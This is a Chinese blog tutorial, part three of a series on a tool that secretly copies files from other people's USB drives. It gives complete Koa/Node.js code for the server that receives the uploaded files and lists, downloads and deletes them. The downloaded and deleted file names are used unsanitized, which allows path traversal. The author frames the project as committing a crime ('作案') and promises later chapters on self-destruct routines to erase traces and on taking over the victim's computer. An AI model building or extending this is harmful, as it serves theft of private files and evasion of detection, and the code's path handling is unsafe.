手把手教你写复制U盘文件神器(三)

前言:切莫用其干坏事,否则后果自负

大家好,今天我们来聊聊如何搭建可以支持上传文件且同时支持对文件操作的服务器(文件操作都是对服务器文件(从U盘上获取的文件)操作)。

需要知识点:koa    koa-route   koa-body  fs 

先说它可以提供哪些功能和访问url:

        1.上传文件(post):http://localhost/upFile       

        2.查看上传文件名(get请求):http://localhost/setCmd?type=getFileName

        3.删除所有文件(get请求):http://localhost/setCmd?type=delFileAll

        4.删除单个文件(post请求):http://localhost/setCmd?type=delFile

        5.下载文件:(post请求):http://localhost/setCmd?type=loadFile

两个post参数提交示例(name的值为文件名):

 下面是实现代码部分,由于是一个工程,不太好展示,我贴出主要文件代码,具体代码细节请大家自行下载源文件。

首先是app.js代码(框架代码):

const koa=require("koa")
const Router=require("koa-router")
const path=require('path')
const Body=require("koa-body")

let router=new Router()
let app=new koa()
app.listen("80")

/*
* 注册koa-body 模块 且支持文件上传
* */
app.use(Body({
        multipart:true,
        formidable:{
            uploadDir:path.join(__dirname,'file'),                  //设置文件上传存储位置
            keepExtensions:true
        }
    }
))

/*
* 注册路由模块
* */
app.use(router.routes()).use(router.allowedMethods())
const RouteFile=require("./api/index")
router.use("/",RouteFile)

其次是api接口代码实现部分:

const fs=require('fs')
const Router=require("koa-router")

const host="http://localhost/"                               //服务器地址(如果是本地调试 则是 “local...” 否则是 “www...”)

let router=new Router()

/*
* 上传文件接口
* */
router.post("upFile", async ctx => {
    let File=ctx.request.files.file
    let oldFileDir= File.path                                               //旧文件路径
    let ondName=oldFileDir.split("\\")[oldFileDir.split("\\").length-1]
    let dir=oldFileDir.split(ondName)[0]
    let fileName= File.name
    let newFileDir=dir+fileName                                             //新的文件名称文件路径
    await fs.renameSync(oldFileDir,newFileDir)                              //修改文件名
    ctx.body="ok"
})

/*
* get命令接口
* 功能:删除全部文件 和 获取全部文件名称
* */
router.get("setCmd", async ctx => {
    let type= new URL(ctx.url,host).searchParams.get("type")
    if(type=="delFileAll"){                                            //删除全部文件
        let nameArr = await fs.readdirSync("./file")
        forDelFile(nameArr,0)
        ctx.body="已经启动删除,使用getFileName命令查看文件"
    }
    else if(type=="getFileName"){                                   //获取全部文件名称
        let name =await fs.readdirSync("./file")
        ctx.body=JSON.stringify(name)
    }
    else {
        ctx.body="命令错误"
    }
})

/*
* post命令接口
* 功能:提供下载单个文件 和 删除单个文件
* */
router.post("setCmd", async ctx => {
    let type= new URL(ctx.url,host).searchParams.get("type")
    let key=ctx.request.body
    if(key.name){
        if(type=="loadFile"){                                                   //下载指令
            try{                                                               //如果报错则是文件名错误
                ctx.attachment(key.name)                                      //设置发送文件名
                ctx.body=await fs.readFileSync("./file/"+key.name)      //异步读取文件
            }catch(e){
                ctx.body="没有此文件 使用 getFileName 命令查看文件名"
            }
        }
        else if(type=="delFile"){                                            //删除单个文件命令
            try {
                await fs.unlinkSync("./file/"+key.name)
                ctx.body="删除成功 -- " + key.name
            }catch (e){
                ctx.body="文件名错误,删除失败"
            }
        }
        else {
            ctx.body="命令错误"
        }
    }
    else
        ctx.body="参数key有误"
})

/*
* 删除指定文件
* 参数1:文件名 参数2:回调函数
* */
function delFile (name,callback){
    let path="./file/" + name
    fs.unlink(path,(err)=>{
        if(err){                                           //错误警告
            //console.log("删除失败" + path)
            callback()
        }else {
            callback()
        }
    })
}

/*
* 迭代删除文件 (递归删除)
* 参数1:文件名数组 参数2:计数变量 (0 ~ Arr.length)
* */
function forDelFile(nameArr , count=0){
    if(count!=nameArr.length){
        delFile(nameArr[count],e=>{
            count++
            forDelFile(nameArr,count)
        })
    }
    else {                                          //全部删除完返回true
        //console.log("已经全部删除")
        return true
    }
}

module.exports = router.routes()

至此,我们就完成了服务器代码部分。回顾从第一章到第三章已经完成了U盘复制的主要代码了。

当然,大家就说啦,前面这些也也也不行啊!有没有更骚的操作?答案当然是有的,下面几章我们来玩一些骚操作,比如:一键操作   作案完后怎样独善其身(启动自毁程序),来个去无踪   还不爽就再来个控制对方电脑所有权 .......等等,关注我,期待吧!

下面一章,我们搭建移动端一键操作。

源代码打包:

        目录:第二章源代码     服务器源代码所有文件

        下载:第三章源代码打包--服务器搭建源代码.rar-Web服务器文档类资源-CSDN下载

上一章:手把手教你写复制U盘文件神器(二)_小坑2号的博客-CSDN博客

下一章:正在完善中

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值